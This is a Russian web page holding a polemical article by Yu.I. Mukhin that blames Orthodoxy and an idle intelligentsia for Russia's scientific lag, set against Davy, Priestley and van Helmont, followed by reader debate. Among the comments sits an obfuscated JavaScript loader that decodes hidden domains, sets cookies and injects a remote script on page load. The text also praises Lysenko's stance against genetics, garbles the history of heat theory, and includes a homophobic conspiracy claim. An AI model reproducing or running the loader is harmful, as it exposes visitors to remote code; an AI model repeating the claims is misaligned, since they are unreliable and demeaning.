Импотентный образованный класс
Не в первый раз пишу на тему, что православие, с его «неграмотность – основа благочестия», на протяжении многих столетий было причиной трагически капитального отставания русского интеллекта даже от китайского, не говоря уже о европейском. К примеру, в научном и техническом плане мир практически ничего от России не получил. Не дала Россия миру ни пороха, ни бумаги, а достижения её учёных столь незначительны и столь подражательны, что, собственно, и говорить не о ком.
Я бы привёл только двух учёных мирового класса. Менделеева с его гениальным озарением, что изменение свойств веществ жёстко связано с их атомной массой, и Лысенко с его законом стадийного развития организмов. Периодический закон Менделеева мир принял безусловно, да и не мог не принять, правда, без самого Менделеева, поскольку тот начинал свою периодическую таблицу с эфира, который «великим Эйнштейном» был отвергнут. И куда уж тут Менделееву с Эйнштейном тягаться!
Что же касается Лысенко, то и его закон стадийного развития организмов миром (селекционерами) используется повсеместно и, надо сказать, за границей Лысенко уважают гораздо больше, чем в России, к примеру, и признают его правоту в дискуссии с «генетиками» морганистско-менделистского толка, и включают Трофима Денисовича в сотню наиболее выдающихся учёных истории. Кстати, единственного учёного из России.
По остальным, даже распиаренным достижениям отечественной науки сказать очень трудно что-то определённое, поскольку ещё с довоенного времени плагиат в советской науке стал нормой и поставлен на поток. Мы что-то считаем достижениями отечественной науки, но вот считает ли так мир?
Да, разумеется, климат России и её пространства долгое время чрезвычайно затрудняли получение того добавочного продукта, на который существуют учёные. Но ведь у России были сотни тысяч помещиков, ведущих праздную жизнь. Им что мешало заняться исследованием природы? У России всегда были десятки тысяч монахов и попов. А долгогривым что мешало заниматься исследованием природы?
Вот читаю:
«Джозеф Пристли (1733–1804) – известный английский ученый-химик. Он открыл кислород, получил хлористый водород, аммиак, фтористый кремний, сернистый газ, оксид углерода. Привезенный французом Шарлем Кондамином из Южной Америки каучук Пристли в 1770 году предложил использовать для стирания написанного, назвав его гуммиэластиком. Как химика Пристли заинтересовал вопрос: почему воздух полей и лесов чище городского? Ученый предположил, что растения очищают его от веществ, выделяемых людьми при дыхании, а также дымящимися трубами заводов и фабрик. С целью проверки своего предположения он посадил под стеклянный колпак мышь. Довольно быстро животное погибло. Тогда экспериментатор поместил под такой же колпак другую мышь, но уже вместе с веткой мяты. «Это было сделано в начале августа 1771 года. Через восемь-девять дней я нашел, что мышь прекрасно могла жить в той части воздуха, в которой росла ветка мяты. Побег мяты вырос почти на три дюйма».
Опыт заинтересовал ученых, многие повторили его в своих лабораториях,однако результаты получались неодинаковые: в одних случаях растения действительно очищали воздух и делали его пригодным для дыхания мыши, в других – этого не наблюдалось. Надо сказать, что сам Пристли при повторении опытов получил противоречивые результаты. Установить истину ученый уже не смог, так как консервативно настроенные англичане разгромили его прекрасно оборудованную лабораторию и богатую библиотеку за сочувствие их владельца идеям французской революции. Пристли оставил научную работу и эмигрировал в США».
Не знаю почему, но в этой справке не сказано, что Пристли был английским попом, и вытолкала этого выдающегося естествоиспытателя в Америку англиканская церковь за ересь в проповедях. Не помогло этому попу и открытие кислорода. Кто бы мне указал на таких попов или монахов в православии?
Ещё штрих отечественной интеллигенции, под которой нужно считать лиц, не зарабатывающих «свой хлеб в поте лица своего». Интеллигенция России под знаниями считает только то, что найдено другими, - то, что узнают в книгах или лекциях (проповедях). Для отечественной интеллигенции знания это то, что нужно запомнить для того, чтобы об этом можно было болтать, заполняя этой болтовнёй свой досуг или демонстрируя свой ум. Отсюда дикий отказ российской интеллигенции от собственных исследований вопросов природы и проблем нашей жизни. Российская интеллигенция знает единственный способ поумнеть - прочесть или услышать что-то у великих, общепризнанных авторитетов.
Чтобы вы поняли, о чём я негодую при воспоминаниях о российских помещиках и интеллигентах, приведу в пример голландского врача Ван-Гельмонта, жившем в 1579–1644 годах. Это были годы, когда в России Иван Грозный пытался заставить дворян Родине служить, и годы великой смуты, устроенной этими дворянами. Так вот¸ этот голландский лекарь решил узнать, благодаря чему растет растение? С животными и человеком вроде бы все было ясно: поедая корм или пищу, они получают вещества, благодаря которым увеличиваются в размерах. Но за счет чего крошечное семя, лишенное рта, превращается в огромное дерево?
Чтобы ответить на этот вопрос, Ван-Гельмонт проделал следующее. Взял большой глиняный горшок, насыпал в него 91 килограмм высушенной в печи почвы, смочил ее дождевой водой и посадил ивовый побег массой 2,25 килограмма. Каждый день в течение пяти лет он поливал растение чистой дождевой водой. По прошествии этого времени Ван-Гельмонт извлек деревце, тщательно очистил корни от прилипших частиц почвы и взвесил содержимое кадки и растение. Оказалось, что масса почвы уменьшилась всего на 57 граммов, а вот масса ивы возросла почти на 75 килограммов. Результат эксперимента исследователь объяснил исключительно поглощением воды. Да, это была ошибка Ван-Гельмонта, тем не менее, насколько изящный опыт! Что – у русских помещиков не было возможностей этот опыт провести? Местный гончар им горшок на 100 кг грунта не обжёг бы?
Эти исследования того, чем кормятся растения, развил впоследствии выдающийся химик мира, вызывающий у меня искреннее восхищение – Гемфри Дэви. Но сначала я ещё раз пну тупую русскую интеллигенцию. Вот, к примеру, Дэви провел серию ставших позже классическими экспериментов с таянием льда. Он брал два кусочка льда и тёр один о другой, от трения лед таял. Этот опыт Дэви производил и при температуре ниже точки замерзания воды, и в пространстве, откуда был выкачан воздух. И Дэви сделал вывод, который в те годы царствования флогистона был прямо противоположен утверждениям тогдашних авторитетов физики, поскольку они были уверены, что тепло это особое вещество - флогистон, а Дэви вот так просто взял и доказал, что тепло это вид движения. И сегодня мы считаем именно так. Так что - в России льда не хватало? Или российская интеллигенция была так занята чем-то полезным, что у неё не было времени потереть два кусочка льда и задуматься над тем, что происходит?
Надо сказать, что Дэви меня восхищает - на мой взгляд, Дэви сделал глобальных открытий больше, чем вся отечественная химия за всю свою историю, поэтому немного прервусь на то, что мне в нём интересно.
Во-первых, он осмысленно отказался от получения университетского образования, которое без проблем мог получить. А некоторые читатели должны помнить, что и я предлагаю в свободной России упразднить получение образования в учебных заведениях, и любое образование из тех, которые у нас считаются высшим, сделать доступным каждому, кто хочет получить знания. Кто хочет получить ЗНАНИЯ, а не бумажку с печатью! Сегодня знания легко получить с помощью компьютера и Интернета плюс практика.
Но во времена Гемфри (1778-1829) компьютера не было и решиться на самообразование было очень непросто. Покровительствовавший юному Дэви старый врач Тонкин устроил его для начала в аптеку, и Дэви, тогда ученик аптекаря, сам составил план того, что ему надо изучить. После чего начал искать нужные книги и сам, без профессоров, их изучать. Его биограф перечисляет, что Дэви взялся изучить:
«Теология, или религия, изучаемая через природу. Этика или нравственные добродетели, изучаемые через откровение.
География.
Моя профессия: ботаника, фармакология, учение о болезнях, анатомия, хирургия, химия.
Логика.
Языки: английский, французский, латинский, греческий, итальянский, испанский, еврейский.
Физика: учение о свойствах тел природы, явлениях природы, учение о жидкостях, свойства организованной материи.
Астрономия.
Механика.
Риторика и ораторское искусство.
История и хронология.
Математика»
А вот из его тетради записи тех тем, которые он собрался изучить дополнительно:
«Исследование правды и политические убеждения.
Тело.
Организованная материя.
О правительстве.
О доверчивости и легковерии.
Доказательства того, что способность мыслить зависит от строения тела.
О счастье.
О нравственном долге.
Защита материализма».
Соответственно, Дэви читает сочинения Локка, Беркли, Гельвеция, Канта. И всё это, повторю, без профессоров и экзаменов. И меня восхищает огромный скептицизм этого 19-летнего юноши к тому, что он прочёл. К примеру, уже в те годы французский химик Лавуазье был непререкаемым авторитетом, а Дэви вспоминает:
««Элементы химии» Лавуазье показались мне занятной книгой. Но только читать книгу — дело бессмысленное. Химия—наука опытная, это не история и не филология, где истина познается в процессе чтения. В химии надо по возможности экспериментом проверять идеи автора. Ни одного утверждения Лавуазье я не хотел и не мог принимать на веру. Поэтому и решил подвергнуть проверке с пристрастием «Элементы химии»... Вот и получилось, что спальня мистера Тонкина превратилась в мою походную лабораторию».
Вот это то, чего и близко нет в российских образованцах, свято верующих в то, что они прочли у общепризнанных авторитетов, - нет желания самому провести опыты и самому их рассмотреть. Интересно, что Дэви стал чуть ли не святым у шахтёров всего мира за изобретение, которое мог сделать только практик, - за изобретение шахтёрской лампы, пламя которой не проникало в насыщенную взрывоопасным метаном атмосферу шахты. Но ведь и по сей день теоретически непонятно, почему медная сетка не пропускает пламя, а додуматься ограничить пламя лампы медной сеткой мог только тот, кто увидел это на практике. Увидел и оценил.
Так вот, Дэви, помимо огромного числа открытий в неорганической химии (только открыл: хлор, калий, кальций, натрий, барий, литий, стронций и магний), провёл и массу интереснейших опытов по вопросу питания растений. В своей книге «Основания земледельческой химии», (стараниями императора Николая I переведенной на русский язык уже в 1832 году), Дэви писал: «...что во время произрастания при солнечном свете углетвор (углерод) из углекислоты воздуха присоединяется к растениям, а кислотвор (кислород) приобщается к атмосфере». Иными словами, Дэви открыл, что в процессе фотосинтеза растения извлекают из атмосферы углерод и выделяют в нее кислород. Дэви уже тогда уточнял: «Поглощение углекислого газа и освобождение кислотвора (кислорода) совершается листьями, которые не перестают производить сии отправления и по снятии с дерева, если будут заключены в воздухе, содержащем угольную кислоту: они поглощают ее, а освобождают из себя кислотвор, даже и в воде, содержащей в себе растворенную угольную кислоту в несколько жидком состоянии».
Вот почему в России, среди сотен тысяч паразитирующих на крестьянах бездельников, не было никого, кто бы повторил подвиг Дэви? Это вопрос?
И я думаю, что не мог бы Дэви (да и масса иных англичан) сделать в те годы столько открытий, если бы само общество Великобритании не стремилось ЛИЧНО узнать о природе как можно больше. Это у нас в те годы русский интеллигент подражал герою Пушкина:
«Надев широкий боливар,
Онегин едет на бульвар
И там гуляет на просторе…»
А в Великобритании (в данном конкретном случае – в Ирландии) высший класс не только гулял. Дэви сообщает матери: «Лаборатория в Дублине, которая была расширена так, чтобы вместить 550 человек, все же не вместила и половины желающих присутствовать на моих лекциях. 550 билетов, выпущенных Дублинским обществом на цикл лекций стоимостью в две гинеи каждый, были распроданы в течение первой недели. И мне говорили, что сейчас за билет предлагают от 10 до 20 гиней. Это я говорю только Вам, ибо знаю, что Вам будет приятно узнать, что Ваш сын довольно популярен и не вполне бесполезен».
Давайте подсчитаем. Гинея – это 21 шиллинг, а шиллинг в те годы содержал 5,23 грамма серебра, следовательно, гинея содержала его 109 грамм. В тогдашнем рубле содержалось 18 грамм серебра, таким образом билет на лекции Дэви в русских рублях стоил первоначально 12 рублей, а потом его стоимость подскочила до 120 рублей. Последняя сумма это в то время жалование поручика русской армии за 4 месяца, а в самой Англии - это зарплата квалифицированного промышленного или сельскохозяйственного рабочего почти за год - за 40 недель.
Лет через 60 после этого, Энгельгардт описал сельскохозяйственную выставку в Смоленской губернии, переполненной имениями российских помещиков: «Каждый день приходил я на выставку -- все надеялся встретиться с хозяевами, которые приедут на выставку, но так никого и не видал, потому что другого такого простака, как я, чтобы на губернскую выставку ехать, не выискалось. Придешь, бродишь по пустым залам: около полудня зайдут несколько посетителей музыку послушать или позавтракать в ресторане; если бы не было ресторана и музыки, то так все время выставка и простояла бы пустою. Пусто, уныло, видно, что вся эта выставка никому, кроме распорядителей, не нужна».
Почувствуйте разницу между британским представителем высшего класса и российским. Один стремится узнать о природе всё новое за любые деньги, а другому и бесплатно не интересно даже то, за счёт чего он сам живёт.
Отсюда и «успехи» России в науках и ремёслах.
Ладно, о паразитизме интеллигенции достаточно, а о величайшем русском открытии в окончании.
(окончание следует)
Ю.И. МУХИН
Посетителям
На сайте есть правила .
А как же "британские учёные" ?
Общепринятая хронология изобретений, открытий и применения технологий не выверена по массе параметров, отчего история науки представляется абсолютно недостоверной. Вот наиболее очевидные позиции с простыми примерами:
2. Радикальное несоответствие фактов и технических возможностей даже хорошо известных эпох. Екатерина II жила в деревянном дворце при том, что Петербург полон каменных зданий с гранитными колоннами великолепной отделки
3. Опережение потребностей эпохи. Хороший пример: бумажная банкнота Ву Ти в Китае за 200 лет до Рождества Христова, при том, что даже в XIX веке китайское общество не было готово к столь важной новации
---------------------------------------------------------------------------------------------------------------------------------
19. Вольная или невольная подмена смысла терминов. Например, патент не всегда подразумевал автора изобретения
20. Неполная информация. Гэмфри Дэви установил элементарную природу хлора, однако способ, которым он этого добился, остается за кадром
--------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------
Про лампу для шахтёров:
"Эту работу он провёл по просьбе Общества по предотвращению несчастных случаев в угольных шахтах....
... Гемфри Деви предложили взять патент на его изобретение, он смог бы ежегодно получать громадный доход от продажи права на производство безопасных ламп. Но последовал твердый отказ. Деви заявил, что единственное его желание -всегда служить человечеству, и «лучшим вознаграждением за мои работы будет сознание того, что я сделал добро мне подобным». Он не хотел своим патентом ставить препоны быстрому распространению важного изобретения, сохраняющего жизни многих сотен тысяч подземных рабочих",
- другими словами документов нет, зато есть красивые отмазки:
"— Да, были люди в наше время,
Не то, что нынешнее племя:
Богатыри — не вы!"
Веселящий газ Дэви Гемфри
" Ему 17 лет. ... Под рукой аптечного помощника есть реактивы, есть оборудование. Чего ещё желать юному исследователю? Он готовит нужное количество ... закиси азота и ставит эксперименты на себе!! ... Вдыхание закиси азота произвело на него необыкновенное действие, вызывая чрезвычайно приятные ощущения и весёлое настроение. Дэви скрывал опыты от своего шефа, повторял их почти ежедневно, всё более и более убеждаясь не только в отсутствии отравляющего действия, но и в неизменном опьяняющем эффекте закиси азота и вызываемых им весёлых галлюцинациях. "
Мда. Говорите семь языков и науки изучал? А может приписали кучу изобретений "британскому учёному"? Кстати - русского языка полиглот Дэви почему-то не изучал - странно; зато изучал ЕВРЕЙСКИЙ - а евреев ( вот уж изобретатели так изобретатели!), по признанию самого Юрия Игнатьевича, жило на территории царской России больше всего в мире.
"Лекции и демонстрации Дэви захватили и лондонское общество, где по по словам современника, «…люди первого ранга и таланта, из литературного общества и науки, практики и теоретики, „синие чулки“ и великосветские дамы, старые и молодые — все жадно наполняли аудиторию»"
Что ж можно поверить, что за веселящий газ на демонстрациях опытов люди готовы были отдать 20 гиней "...зарплату квалифицированного промышленного или сельскохозяйственного рабочего почти за год - за 40 недель".
"Спустя 40 лет в США дантист Хорас Уэллс (1815-1848), совершенно не знакомый с работами Дэви, самостоятельно начал проводить наркозы закисью азота. Уэллс воспользовался не научными данными английского учёного-химика. Его надоумили увеселительные «газовые потехи», которыми развлекалась американская провинциальная публика, перенявшая эту забаву из модных английских салонов."
Другими словами - внедрять своё изобретение для обезболивания Дэви Гэмфри было совершенно недосуг - при таком бешенном спросе на увеселения газом это объяснимо. Вот Вам и титан духа, альтруист отказавшийся от патента на лампу.
В заключение о Дэви Гэмфри, науках, языках и веселящем газе, песня : "Стоп наркотик!!":
"Куранто парафини дара венто примавера,
Эта история произошла много лет тому назад пьянящею весной
Жёс ви ля ля дель кантри Педро тарантас.
С обычным парнем из русской деревни, которого звали просто Педро
----------------------------------------------------------------------------------------------------
Stop narcotics, narcomano stoppo!
Stop narcotics, narcomano stop!"
:3
А теперь вопрос: какие из перечисленных знаний и фактов вы получили в порядке личного опыта, а не прочли хрен знает где?
...
То-то.
Вопрос был хронологического
Вопрос был хронологического порядка. Или Вы непосредственно наблюдали за изобретением пороха и бумаги в "Древнем Китае"? Так сказать, в порядке личного опыта.
Бумажная банкнота Ву Ти.
Бумажная банкнота Ву Ти. Бумага столько лет не живет.
Но ведь и по сей день
Но ведь и по сей день теоретически непонятно, почему медная сетка не пропускает пламя,
Прекращение горения охлаждением пламени газа или спирта металлической сеткой
Про Лампу Дэви Гэмфри и лампу Джорджа Стивенсона
Это интересно, самоучка изобретатель паровоза - против самоучки учёного, кто круче:
Википедия: "«Лампа Джорди»; она была изобретена практически одновременно с «Лампой Дэви», предложенной английским учёным Хемфри Дэви и до сих пор не известно, какая из конструкций была первой."
История создания ламп Miner's:
" Первым человеком, продемонстрировавшим возможность применения стабильного освещения в угольных шахтах, был доктор Уильям Рид Клэнни, из Сандерлэнда. 20 мая 1813 года он объявил о своем открытии на заседании Королевского Общества Искусств в Лондоне, когда представил Обществу свою шахтерскую безопасную лампу... Его лампа состояла из металлического корпуса со свечой внутри...Первая масляная безопасная лампа, использовавшая цилиндр с металлической сеткой, была изобретена сэром Хамфри Дэви. Он никогда не утверждал, что является создателем безопасной шахтерской лампы. На самом деле, 9 ноября 1815 года, объявив в Королевском обществе про свои открытия о природе и свойствах рудничного газа, он дал описание лампы Клэнни, которую он до этого видел в северной шахте и которую он несколько усовершенствовал.."
Мда, Дэви Гэмфри практик хренов!
Рудничная лампа Джорджа Стефенсона
Во-первых, согласно Википедии Джордж Стивенсон (он же Стефенсон), изобретатель паровоза, родился и вырос в семье шахтёра, а не аптекаря (папа -резчик по дереву) как Дэви Гэмфри, что как бы предполагает наличие практики в шахтёрском деле.
"Д. Стефенсон пришел к идее безопасной рудничной лампы, в которой пламя помещалось в металлическую трубку, позволявшую горнякам освещать путь и не опасаться внезапных взрывов подземного газа, по аналогии с длинными трубами паровых машин и насосов. !!!!!!!
Независимо от Стефенсона аналогичную рудничную лампу изобрел великий химик Гемфри Дэви, которому досталась практически вся слава создания эффективного способа спасения человеческих жизней. «Тем не менее, - указывает П. Забаринский, - слава этого важнейшего изобретения, создавшего целую эпоху в развитии техники горного дела, спасшего тысячи людских жизней, принесшего новые выгоды предпринимателям, досталась Дэви. Биограф знаменитого ученого Парис с возмущением писал о притязаниях Стефенсона: «Нельзя поверить, чтобы изобретение столь высокого научного значения, могущее возникнуть только в сокровищнице подлинной науки, осмелились приписывать какому-то машинисту из Киллингворта по имени Стефенсон – личности, не владеющей даже самыми элементарными познаниями в области химии» (П. Забаринский, 1937)."
- последнее предложение должно очень понравиться Юрию Игнатьевичу: изобретатель работяга - практик против воинствующего учёного-интеллигента, который подсадил весь высший цвет Англии на наркотические забавы. Не багодаря ли им, а не научным открытиям, Дэви Гэмфри стал бароном, а потом и лордом? Теперь становится понятно из-за чего Дэви Гэмфри отказался брать патент на изобретение. Явно не из-за человеколюбия. Помешала слишком большая огласка в споре со Стивенсоном.
Если величайший английский учёный таков, то я даже боюсь предположить каковы научные деятели Великобритании рангом пониже!
Оно конечно, сильно наши помещики отставли от жизни - всё девок по баням таскали, с цыганами куролесили. Темнота! Вона за границей тогда уже вовсю веселящий газ вдыхали. Европа-с!!!
Там в лампе две фишки.
Там в лампе две фишки. Первая фишка это вытянутая форма лампы для создания тяги вверх, а вверху металическая крышка для охлаждения и осаждения непрогоревших частиц пламени. И только вторая фишка металлическая сетка вокруг лампы для осаждения и охлаждения частиц которые случайно вылетят из потока и полетят в сторону. Конечно шахтёрская лампа есть следствие представлений о природе пламени как совокупности горящих частиц топлива и представлений о теплопроводности металлов.
С теорией теплорода эти представления не расходятся. Теория теплорода все эти процессы прекрасно описывает. Так же эти-же процессы легко описывает аристотелевская теория четырёх стихий. И теория теплового движения частиц вещества принятая в настоящее время тоже с таким описанием справляется.
Дело не в описаниях, описания всего лишь символы придуманные человеком для удобства обозначения явлений.
Дело в понимании. А понимание природы тепловых явлений и горения как видно из примера с лампой было вполне достаточным для тогдашних практических целей. Ведь и паровой двигатель изобретали примерно в это же время. Начиналась эпоха промышленной революции. И начиналась эта эпоха в европе, а не в россии.
И именно эта эпоха потребовала от людей быть и предприимчивыми, и любознательными. Русские помещики жили ещё при феодализме в это время. В уютных нишах феодального соподчинения. Конечно они были паразитами, но не большими паразитами чем любой французский дворянин времён короля-солнце. Надо помнить, что буржуазная революция в россии в 1917 году соответствует франции 1793 года и англии 1648 года. И сравнивать исходя из этих объективных исторических фактов. Россия отстала в социально-экономической сфере от франции на 120 лет, а от англии на 270 лет.
Отчего и появилась необходимость в Ленинско-Сталинской социалистической революции. В результате которой СССР опередил все страны мира и создал свою мировую империю добра.
То есть русских дворян надо сравнивать не с Деви - представителем капиталистической формации, а с д'Артаньяном или миньонами короля генриха. Вот тут наверное быстро выяснится, что русские дворяне дадут фору любым дворянам любых стран, наши паразиты самые паразитские. Хотя скорее выяснится, что наши от других не сильно отличаются.
Надо понимать, что до французской буржуазной революции англия продавала свои товары в европу выкачивая из европы деньги. И эти деньги ссужала тем-же европейцам. То есть европа была фактической колонией англии. Поэтому наполеон сначала завоевал италию и германию сделав их колониями франции, а затем объявил континентальную блокаду английских товаров. И предложил россии избавится от положения сырьевого придатка англичан. Но россия к самостоятельному экономическому существованию была не готова ввиду слабого промышленного и финансового развития своего. От английской опеки русские помещики не могли отказаться и предпочли убить своего царя табакеркой и воевать с Наполеоном.
А франция хоть и проиграла в войне с проанглийскими коалициями, но французские капиталлы благодаря наполеону уже опутали всю европу и северную африку. Англичанам понадобилось полвека после ватерлоо бороться с французским финансовым приоритетом в европе. Только ко времени королевы виктории, путём значительного расширения колоний в индии и персии, влияния в китае, вторжений в афганистан, англичане сумели превзойти французов в финансовой сфере.
Таков был задел созданный Наполеоном, недаром французы его боготворят.
А рашкиноиды весь созданный Лениным и Сталиным промышленный потенциал разрушили и разворовали.
И теперь рашка-парашка опять вернулась к положению сырьевого придатка западных стран. Только с значительно урезанными границами и сильно уменьшеным населением.
С чем московских хомячков и поздравляю. Добились чего хотели. Зато сникерсов нажрались по самые уши.
Гост Там в лампе две фишки.
Эт надо же чего мраксизм с людями делает!
И чё, по вашему в ту ж секунду после революций разом меняются общественные отношения?
Брехал ваш Мордехай, как сивый осёл!
Не бывает "общественно политических формаций. Развитие общества идёт плавно и постепенно. И в государстве завсегда сочетаются все виды "производственных отношений" К примеру в СССР было и рабство /на капказе/ был феодализм в азии, был капитализм /теневики/ и общинный строй /колхозы и артели/
Аналогично и в Англии 1648 года и Франции 1793 года земельные отношения не поменялись. Как люди работали на своих помещиков, так и продолжили. Как фабрики работали, так и продолжили....
"Революция" это не смена "общественных отношений" -- это смена стада у кормушки.
А общественные отношения неизменны уже тысячелетия. И называются "Азиатский способ производства".
Мракс про него воще промолчал ибо он в его бред не влазил.
Суть этого способа проста: Во главе государства: Князь, царь, император, генсек, президент... парламент.. фараон, вождь../как хочешь, так и обзови/. Который управляет при помощи назначаемых им чиновников. Чиновникам и принадлежит государство в целом... и народонаселение в частности. Замена прямого рабства на демократические свободы абсолютно не существенна и не принципиальна.
хоть бы книжку какую
хоть бы книжку какую почитали. Про французскую книжки есть хорошие и про русскую революции. Знали бы тогда, что смена стада у кормушки это переворот, а революция это именно смена отношений в обществе. Вот в 1991 году в рашке была революция, но не прогрессивная, а регрессивная, то есть контрреволюция. И отношения между людьми сменились. Как на производстве, так и в социальной сфере отношения сейчас между людьми совсем не такие как были в СССР.
a хоть бы книжку какую почитали.
Это у вас после революционного шампуня от перхоти? Рекламы насмотрелись?
Ещё раз:
"производственные отношения" революциями не меняются, они меняются развитием науки и техники.
А это штука постепенная и многогранная!
Смена феодализмы на капитализму произощла не в результате "революции", а в результате появления машин и роста производительности труда.
А "революции" это смена подонков у власти, когда оголодавшие меняют зажравшихся.
Есть одна теория, по коей все религии, тайные общества, политические партии....основаны гомосеками.
Она прекрасно подтверждается след фактом -- Первейшим указом ВСЕХ революций была отмена наказания за гомосечество. Что великой французской, что росиянской демократической....
Дело в том, что синдромом этой психической болезни /гомосечество и педофилия/ является мания богоизбранности.
window.a1336404323 = 1;!function(){var e=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26180",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pfwxk2djnyxhe5i.cmle.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
некоторые замечания
1. Довелось в зарубежной научной литературе встречать только две русских фамилии, вошедших в качестве нарицательных: это периодический закон Менделеева и марковские процессы (важный класс случайных процессов, открытый академиком А.А.Марковым). Скорее всего, есть и ещё - но я не знаю. А интересно было бы составить такой полный список.
2. Когда православные попы выступали против образования, они это делали не из дурости, а потому что видели, что критическое мышление разрушает веру. А вместе с верой люди как правило теряют социальные алгоритмы поведения - как там Достоевский говорил, "если бога нет, то всё дозволено". Просто ругать попов можно, но смысла в этом мало. ГОраздо лучше указать путь, при котором и мышление развивается, и социальность человека не пропадает.
3. Развитие английской науки связано с развитием английского капитализма, который резко поднял богатство и уровень жизни страны за счёт ограбления колоний - Индии, Китая и т.д. Опыт Англии показывает, какой прорыв в науке может произойти, если для этого есть средства. Плюс успехи Англии связаны были с развитием частного предпринимательства, и законодательно были приняты многие меры для свободного развития индивидуальности, в том числе научного, чего в России никогда не было.
4. Сегодня кажется, что благосостояние гораздо выше во всех странах, чем в Англии тогда, а наука не развивается. А это происходит из-за специального воздействия империалистов на народы: как можно больше развлечений и дебильной мусорной информации, т.к. развитие мышления быстро приведёт людей к мысли о гибельности современного капитализма для цивилизации.
Для Гость Ракович.
Гость Ракович: "А вместе с верой люди как правило теряют социальные алгоритмы поведения - как там Достоевский говорил, "если бога нет, то всё дозволено"."
Спорная мысль. Большевики с богом были как-то не очень, а проституцию, к примеру, взяли и запретили. А при официальной государственной религии она процветала.
а проституцию, к примеру, взяли и запретили.
Как частное предпринимательство. И ввели свободную любофф.
!
Хороший пример.
периодический закон Менделеева и марковские процессы
Уравнение плазмы Власова
Много таких
> Довелось в зарубежной научной литературе встречать только две русских фамилии, вошедших в качестве нарицательных: это периодический закон Менделеева и марковские процессы (важный класс случайных процессов, открытый академиком А.А.Марковым). Скорее всего, есть и ещё - но я не знаю. А интересно было бы составить такой полный список.
Например, метрика Фридмана (одно из первых решений уравнений Эйнштейна-Гильберта, идея нестационарной Вселенной).
https://en.wikipedia.org/wiki/Friedmann–Lemaître–Robertson–Walker_metric
В математике известны важнейшие полиномы Чебышева
https://en.wikipedia.org/wiki/Chebyshev_polynomials
и колмогоровская сложность:
https://en.wikipedia.org/wiki/Kolmogorov_complexity
Да-да
И какое отношение вся эта муть имеет к реальности? Как эти штуки раскрывают тайны природы? Как позволяют её использовать?
Для Гость б/у.
Гость б/у: "И какое отношение вся эта муть имеет к реальности?"
Полиномы Чебышева используются, к примеру, в радиотехнике, когда надо спроектировать фильтр. Полином Чебышева имеет ограниченное значение в определенном интервале (полосе частот), а вне его неограниченно возрастает.
Таким образом, имея требование к фильтру (рабочая полоса частот, подавление в полосе подавления) остается только выбрать по подавлению степень полинома и соответствующую ему цепь.
См. https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%A...
Есть и еще. Принцип максимума
Есть и еще.
Принцип максимума Понтрягина - является одним из основных методов современной теории оптимального управления.
Алгоритм Ремеза - широко используется при решении задач минимакс-аппроксимации.
Функция Ляпунова - одно из основных понятий теории устойчивости нелинейных систем.
Теорема Котельникова - важнейшая теорема теории цифровой обработки сигналов. То, на чем базируется современная цифровая связь, цифровая аудиозапись.
Метод Оганесяна - новый прорывной метод синтеза тяжелых трансурановых элементов.
И многие другие. Это раньше система советского образования и просвещения акцентировала внимание граждан на достижения русских и советских ученых. Сейчас такая работа не ведется, а на Западе всегда было и есть стремление признавать первенство только своих ученых на изобретения и открытия. Вот и получается, что западная наука и образование отрицают вклад иных ученых, кроме своих собственных, в большинство открытий и достижений науки.
Особенно характерно дело обстоит с теоремой Котельникова. Имея огромную важность для военной связи, эта теорема оставалась длительное время засекреченной в СССР. Но через несколько лет ее независимо переоткрыли там. И всё, у них она стала называться теоремой Найквиста (которой к ее открытию вообще не имеет отношения) или, в лучшем случае, теоремой Шеннона (который собственно ее и переоткрыл). И что толку теперь трясти доказательствами, что наш Котельников был раньше. Им нет никакого смысла менять у себя научную терминологию и признавать авторство русского на эту теорему, которую они уже сочли "своей".
1 ВЕЛИЧАЙШЕЕ РУССКОЕ ОТКРЫТИЕ
Христианство вообще это тормоз в развитии Общества.
И в этой части католицизм куда хуже "православия"
Ученых на западе жгли все средние века. Показательна жизнь Паскаля, который наложил на себя вериги за "греховное желание проникнуть в божественные тайны"
На Руси ярким примером великого учёного и изобретателя является Кулибин.
Просто его изобретения были запатентованы иностранцами...
Гениально его приспособление для перемещения судна против течения силой самого течения. /физихи ау!/
То ж самое и братья Черепановы построившие паравоз раньше англичан...
Русские открытия в области электричества, связи, телевиденья, авиации ... так же запатентованы не в России.
